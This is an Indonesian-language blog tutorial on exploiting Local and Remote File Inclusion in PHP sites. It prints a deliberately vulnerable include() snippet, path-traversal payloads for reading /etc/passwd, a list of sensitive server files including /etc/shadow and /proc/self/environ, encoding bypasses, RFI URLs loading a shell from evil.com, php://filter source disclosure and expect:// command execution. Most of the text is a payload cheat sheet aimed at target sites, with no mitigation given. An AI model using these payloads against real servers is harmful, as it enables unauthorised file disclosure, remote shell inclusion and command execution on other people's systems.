Tutorial Mengenai Local File Inclusion (LFI) Dan Remote File Inclusion (RFI)
Oke pada kesempatan kali ini saya akan membahas singkat tentang Local File Inclusion dan Remote File Inclusion.
Pada artikel sebelumnya saya juga sudah pernah membahas tutorial mengenai Memanfaatkan Bug LFI di Website tapi alangkah lebih baik kalo kita bahas lebih mendetail lagi.
Well, penjelasan pertama mengenai fungsi-fungsi yang dapat menyebabkan LFI/RFI.
Code:
include();
include_once();
require();
require_once();
Dan dengan syarat pada konfigurasi php di server:
allow_url_include = on
allow_url_fopen = on
magic_quotes_gpc = off
Contoh, misalkan kita punya file index.php dengan content codenya seperti berikut ini,
<a href="index.php?page=file1.php"> Files</a>
<?php
$page = $_GET[page];
include($page);
?>
Jika kita lihat mungkin alamat urlnya akan terlihat seperti ini bentuknya:
Code:
http://target.com/index.php?page=files.php maka script ini akan menampilkan halaman files.php
Nah, disini attacker bisa dapat melakukan exploitasi LFI karena variabel page di include begitu saja tanpa menggunakan filter.
Misalkan si attacker ingin mangakses file passwd yang ada pada server, maka dia akan mencoba memasukan payload seperti ini ../../../../../../etc/passwd.
Dengan jumlah "../" itu tergantung dari kedalaman folder file index.php tersebut, dengan begitu isi file passwd akan ditampilkan di browser. Jadi kita juga bisa menggunakan metode menebak stuktur folder dalam website target.
Oke, jika kita sudah menemukan bug LFI pada website target. Sekarang kita akan mencoba mencari bug RFI dengan menambahkan link file remote(dari luar website) pada variabel page. Contoh misalnya seperti ini:
http://target.com/index.php?page=http://asu.com/test.txt
Dengan file "test.txt" berisi misalkan begini: "Hacked by YOURNAME"
Jika ternyata dibrowser menampilkan kalimat sesuai isi file test.txt tersebut maka berarti website tersebut vulnerability terhadap bug RFI juga.
Selain kita cek file passwd, kita juga bisa mengecek file menarik lainya:
- /etc/issue
- /etc/passwd
- /etc/shadow
- /etc/group
- /etc/hosts
- /etc/motd
- /etc/mysql/my.cnf
- /proc/[0-9*]/fd/[0-9]*
- /proc/self/environ
- /proc/version
- /proc/cdmline
Basic LFI (null byte, double encoding, dan trik lainya)
http://example.com/index.php?page=etc/passwd http://example.com/index.php?page=etc/passwd http://example.com/index.php?page=../../etc/passwd http://example.com/index.php?page=%252e%252e%252f http://example.com/index.php?page=....//....//etc/passwd
Basic RFI (null byte, double encoding, dan trik lainya)
http://example.com/index.php?page=http://evil.com/shell.txt http://example.com/index.php?page=http://evil.com/shell.txt http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
LFI Wrapper base64 - php://filter
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
RFI Wrapper EXPECT
http://example.com/index.php?page=php:expect://id http://example.com/index.php?page=php:expect://ls
Refrensi:
Nah mungkin cukup sekian artikel dari saya. Mohon maaf apabila ada kesalahan dalam penulisan maupun penjelasan karena saya sendiri juga masih sama-sama belajar.
Jika ada yang ingin ditanyakan silahkan tinggalkan jejak di kolom komentar sebisa mungkin nanti saya akan coba bantu.
Terimakasih, semoga bermanfaat. Happy Learning!
Post a Comment for "Tutorial Mengenai Local File Inclusion (LFI) Dan Remote File Inclusion (RFI)"